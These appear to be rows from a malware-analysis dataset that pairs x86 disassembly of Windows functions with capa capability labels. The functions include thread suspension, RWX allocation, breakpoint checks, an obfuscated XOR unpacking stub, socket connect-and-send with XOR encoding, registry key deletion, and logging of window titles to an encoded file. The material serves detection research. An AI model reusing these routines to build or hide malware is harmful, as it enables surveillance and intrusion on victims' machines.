joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10114e50
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1029e280]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x10114f8e
mov dword [ebp - 0x20], 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10114f84
cmp dword [ebp - 0x20], 0x10
jb 0x10114f68
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10114f68
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10114f68
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x10114ef8
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0x80
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
shl edx, 2
push edx
push 0
mov eax, dword [0x102e32d0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x10114ef6
jmp 0x10114f84
jmp 0x10114f48
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
cmp edx, dword [ecx + 4]
jb 0x10114f48
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shl ecx, 1
shl ecx, 2
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [0x102e32d0]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10114f32
jmp 0x10114f84
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
shl eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x28]
mov dword [edx], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
add edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + 8], edx
mov dword [ebp - 0x20], 0x1c
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10114e92
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10116d02
mov esp, ebp
pop ebp
ret
Function at 0x101150c0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], 0
mov edx, dword [ebp + 8]
mov dword [edx + 8], 0
mov eax, dword [ebp + 8]
push eax
call fcn.10114e50
add esp, 4
mov ecx, dword [ebp + 8]
cmp dword [ecx], 0
je 0x1011515d
mov dword [ebp - 4], 0
jmp 0x10115109
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 8]
jae 0x1011515d
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 4]
mov edx, dword [eax + ecx*4]
push edx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1011515b
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.10115490
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10115100
mov esp, ebp
pop ebp
ret

Function at 0x10115610
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x10115684
mov dword [ebp - 4], 0
jmp 0x10115630
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 8]
jae 0x10115670
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
mov ecx, dword [edx + eax*4]
push ecx
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1011566e
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10115627
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push 0
mov eax, dword [0x102e32d0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esp, ebp
pop ebp
ret
Function at 0x10115790
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x102e3630]
mov dword [ebp - 4], eax
jmp 0x101157a8
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x101157be
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x101157bc
mov eax, dword [ebp - 4]
jmp 0x10115839
jmp 0x101157a0
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10115836
mov ecx, dword [ebp - 4]
add ecx, 0x20
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [edx + 4], 0
mov eax, dword [ebp - 4]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
mov dword [ecx], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx + 4], edx
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
cmp ecx, 0xfe0
jbe 0x101157f8
mov edx, dword [ebp - 4]
mov eax, dword [0x102e3630]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x102e3630], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10115d40
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movzx eax, byte [edx + ecx]
test eax, eax
je 0x10115d89
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + edx]
cmp ecx, 0x90
je 0x10115d89
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + eax]
cmp edx, 0xcc
je 0x10115d89
xor eax, eax
jmp 0x10115dca
mov dword [ebp - 4], 1
jmp 0x10115d9b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10115dc5
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, 1
imul edx, ecx, 0
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
cmp eax, edx
je 0x10115dc3
xor eax, eax
jmp 0x10115dca
jmp 0x10115d92
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1011e330
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [eax + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x78]
test eax, eax
je 0x1011e355
push dword [edi + 0x74]
call eax
add esp, 4
push ebx
push esi
mov esi, dword [edi + 0x54]
test esi, esi
je 0x1011e3bb
nop
mov ebx, dword [esi + 4]
xor edx, edx
mov eax, dword [ebx + 0x60]
mov eax, dword [eax + 8]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0x54]
test eax, eax
je 0x1011e3b4
mov ecx, dword [eax + 8]
cmp eax, esi
je 0x1011e387
mov edx, eax
mov eax, ecx
test eax, eax
jne 0x1011e376
jmp 0x1011e3b4
test edx, edx
jne 0x1011e390
mov dword [ebx + 0x54], ecx
jmp 0x1011e393
mov dword [edx + 8], ecx
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1011e3a0
push esi
call eax
add esp, 4
push esi
call fcn.1011e8b0
mov eax, dword [esp + 0x20]
push esi
push eax
mov eax, dword [eax + 8]
call eax
add esp, 0xc
mov esi, dword [edi + 0x54]
test esi, esi
jne 0x1011e360
lea eax, [edi + 0x6c]
test eax, eax
je 0x1011e43e
test ebp, ebp
je 0x1011e43e
mov ebx, dword [eax]
test ebx, ebx
je 0x1011e431
nop dword [eax]
mov esi, dword [ebx + 8]
mov eax, dword [ebx + 4]
mov dword [esp + 0x1c], eax
mov eax, dword [esi + 8]
test eax, eax
je 0x1011e3e7
push esi
call eax
add esp, 4
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x3c]
test eax, eax
je 0x1011e3fb
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x28]
test eax, eax
je 0x1011e40c
push eax
mov eax, dword [ebp + 8]
push ebp
call eax
add esp, 8
mov dword [esi + 0x28], 0
mov eax, dword [ebp + 8]
push esi
push ebp
call eax
mov eax, dword [ebp + 8]
push ebx
push ebp
call eax
mov eax, dword [esp + 0x2c]
add esp, 0x10
mov ebx, eax
test eax, eax
jne 0x1011e3d0
lea eax, [edi + 0x6c]
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [edi + 0x30]
mov dword [edi + 0x58], 0
test eax, eax
je 0x1011e452
push edi
call eax
add esp, 4
push ebp
push edi
call fcn.1011e2b0
mov eax, dword [esp + 0x18]
add esp, 8
mov eax, dword [eax + 0x34]
test eax, eax
je 0x1011e46d
push edi
call eax
add esp, 4
mov esi, dword [edi + 0x68]
mov eax, dword [edi + 8]
mov dword [esp + 0x20], eax
test esi, esi
je 0x1011e49f
mov eax, dword [esi + 0x18]
mov ebx, dword [esi + 0x1c]
test eax, eax
je 0x1011e48b
push esi
call eax
add esp, 4
test dword [esp + 0x20], 0x400
jne 0x1011e49f
mov eax, dword [ebx + 8]
push esi
push ebx
call eax
add esp, 8
mov eax, dword [edi + 0x80]
mov dword [edi + 0x68], 0
pop esi
pop ebx
test eax, eax
je 0x1011e4c6
push eax
mov eax, dword [ebp + 8]
push ebp
call eax
add esp, 8
mov dword [edi + 0x80], 0
mov eax, dword [ebp + 8]
push edi
push ebp
call eax
add esp, 8
pop edi
pop ebp
pop ecx
ret
Function at 0x10164fa0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x14
xorps xmm0, xmm0
push ebx
push ebp
mov ebp, dword [esp + 0x20]
lea ebx, [ebp + 0x318]
movups xmmword [ebx], xmm0
push esi
movq qword [ebx + 0x10], xmm0
movzx ecx, word [ebp + 0x98]
mov eax, dword [ebp + 0x9c]
shl ecx, 4
add ecx, eax
push edi
cmp eax, ecx
jae 0x1016518d
cmp dword [eax], 0x42444620
jne 0x10164fe5
mov esi, dword [eax + 0xc]
test esi, esi
jne 0x10164ff9
add eax, 0x10
cmp eax, ecx
jb 0x10164fd6
pop edi
pop esi
pop ebp
mov eax, 8
pop ebx
add esp, 0x14
ret
push dword [eax + 8]
mov edi, dword [esp + 0x30]
push edi
call fcn.1011d700
add esp, 8
test eax, eax
jne 0x1016518d
cmp esi, 8
jb 0x1016518d
push ebx
push esi
push edi
call fcn.1011ce10
add esp, 0xc
mov dword [esp + 0x20], eax
test eax, eax
jne 0x1016518d
mov eax, dword [ebx]
lea ecx, [eax + esi]
mov dword [ebp + 0x31c], ecx
mov ecx, eax
movzx edi, byte [ecx + 2]
movzx eax, byte [ecx + 3]
movzx edx, byte [ecx + 5]
shl edi, 8
or edi, eax
movzx eax, byte [ecx + 4]
shl eax, 8
or edx, eax
movzx eax, byte [ecx + 6]
shl edx, 8
or edx, eax
movzx eax, byte [ecx + 7]
movzx ecx, byte [ecx + 1]
shl edx, 8
or edx, eax
mov eax, dword [ebx]
movzx eax, byte [eax]
shl eax, 8
or ecx, eax
cmp ecx, 1
jne 0x10165175
cmp edx, 8
jb 0x10165175
lea eax, [edx - 8]
shr eax, 2
cmp eax, edi
jb 0x10165175
lea eax, [edx + 1]
cmp eax, esi
ja 0x10165175
mov eax, dword [ebx]
sub esi, edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [ebp + 0x328], edi
mov dword [ebp + 0x324], esi
lea ecx, [eax + edx]
mov dword [ebp + 0x320], ecx
lea edx, [eax + 8]
lea eax, [edx + edi*4]
mov dword [esp + 0x10], eax
cmp edi, 2
jb 0x10165131
lea esi, [edi - 2]
xor ebx, ebx
shr esi, 1
inc esi
xor ebp, ebp
movzx ecx, byte [edx + 2]
sub edi, 2
movzx eax, byte [edx + 3]
shl ecx, 8
or ecx, eax
lea eax, [ecx + ecx*4]
movzx ecx, byte [edx + 6]
lea ebx, [ebx + eax*2]
shl ecx, 8
movzx eax, byte [edx + 7]
add edx, 8
or ecx, eax
lea eax, [ecx + ecx*4]
lea ebp, [ebp + eax*2]
sub esi, 1
jne 0x101650e5
mov dword [esp + 0x18], ebp
mov ebp, dword [esp + 0x28]
mov dword [esp + 0x14], ebx
mov esi, dword [ebp + 0x320]
lea ebx, [ebp + 0x318]
jmp 0x10165133
mov esi, ecx
test edi, edi
je 0x10165150
movzx ecx, byte [edx + 2]
movzx eax, byte [edx + 3]
mov edx, dword [esp + 0x10]
shl ecx, 8
or ecx, eax
lea eax, [ecx + ecx*4]
lea edx, [edx + eax*2]
jmp 0x10165154
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
add eax, dword [esp + 0x18]
add eax, edx
cmp eax, esi
ja 0x10165175
mov eax, dword [esp + 0x20]
pop edi
pop esi
mov byte [ebp + 0x32c], 1
pop ebp
pop ebx
add esp, 0x14
ret
push ebx
push dword [esp + 0x30]
call fcn.1011d6c0
xorps xmm0, xmm0
add esp, 8
movups xmmword [ebx], xmm0
movq qword [ebx + 0x10], xmm0
mov eax, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4029c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
lea eax, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x2c], 0
call sub.msvcrt.dll___getmainargs
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.msvcrt.dll___set_app_type
mov eax, dword [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.00403360
mov dword [esp], eax
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
and esp, 0xfffffff0
call sub.msvcrt.dll___iob_func
mov edx, dword [ebp + 8]
leave
shl edx, 5
add eax, edx
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401443
pop dword [ebp - 0x34]
mov eax, 0x23379f2e
add eax, 0xdd087515
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x9f8089ef
add dword [ebp - 0x44], 0xaed1bb5c
mov dword [ebp - 0x40], 0x3c87e192
add dword [ebp - 0x40], 0xf5ab6ab3
mov dword [ebp - 0x3c], 0x67d1fb3a
add dword [ebp - 0x3c], 0xe47a48f4
mov dword [ebp - 0x38], 0xb0ba4f33
add dword [ebp - 0x38], 0x4f45b0cd
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xd39ad97c
sub dword [ebp - 0x44], 0x5f287026
mov dword [ebp - 0x40], 0xad071147
sub dword [ebp - 0x40], 0x6b9aafd2
mov dword [ebp - 0x3c], 0x6d0407
add dword [ebp - 0x3c], 0x63026865
mov dword [ebp - 0x38], 0x2bdae443
add dword [ebp - 0x38], 0xd4251bbd
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x6e32bd02
add eax, 0x920dc3fe
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x37f72
push 0
call eax
mov ecx, 0x3079f088
add ecx, 0xcf86562b
mov ebx, eax
mov edx, 0x430f5f60
add edx, 0xbd3784a0
add edx, dword [ebp - 0x34]
mov edi, 0x7d44ec7c
add edi, 0x47a4490
mov dword [ebp - 0x20], 0xae3ec9e2
mov esi, dword [edx]
sub dword [ebp - 0x1c], 0x8190d0d8
sub esi, edi
xor dword [ebp - 0xc], eax
mov dword [ebx], esi
sub dword [ebp - 0x14], 0xaccea063
add ebx, 0xe3721ecb
sub ebx, 0xe3721ec7
add edx, 0xd89639c3
sub edx, 0xd89639bf
loop 0x401560
add eax, 0x10d9f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe79918af
sub ecx, 0xe75918af
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x100013b0
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x10017c4a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1a0], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1a0], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1a0], 2
call fcn.10001000
lea eax, [esp + 8]
mov dword [esi], 0x10019448
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x68
mov byte [esp + 5], 0x78
mov dx, word [esp + 4]
lea ecx, [esi + 0x50]
mov dword [esi + 0x4c], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0x53], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x10001550
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.100019a0
mov eax, dword [esi + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x53], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
jne 0x10001588
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x100015a3
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x48]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100015e5
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0x48]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001640
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x48]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push esi
push 0x10001670
push 0
push 0
mov byte [esi + 0x53], 1
call fcn.10007810
add esp, 0x1c
mov dword [esi + 0x44], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8

Function at 0x10001b70
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x10001b90
mov dl, byte [ecx + eax]
xor dl, 0xfc
add dl, 0x31
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x10001b7f
pop esi
ret
Function at 0x10001ba0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.10001b70
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x10001c13
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x48]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001bf2
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10001bd2
cmp dword [esp + 0x1c], 0xf
je 0x10001c46
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x10001bca
test ebx, ebx
jle 0x10001c3a
xor esi, esi
mov ecx, dword [ebp + 0x48]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001c31
inc esi
cmp esi, 0xf
jl 0x10001c19
cmp esi, 0xf
je 0x10001c46
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10001c49
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x10002520
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, str.Default
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10002602
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call fcn.10008914
add esp, 4
mov edi, eax
test esi, esi
jle 0x10002631
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x10002625
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10002660
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, 0x100235f0
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x100235f0
push eax
mov dword [0x100239f0], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x100235ec]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100239f0]
cmp eax, ecx
je 0x1000275b
push 0x100235f0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000274f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x100235f0
lea edx, [esp + 0x34]
push 0x1001e9e0
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.10002520
add esp, 0x28
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, 0x100235f0
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x100239f0]
mov dword [0x100235ec], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret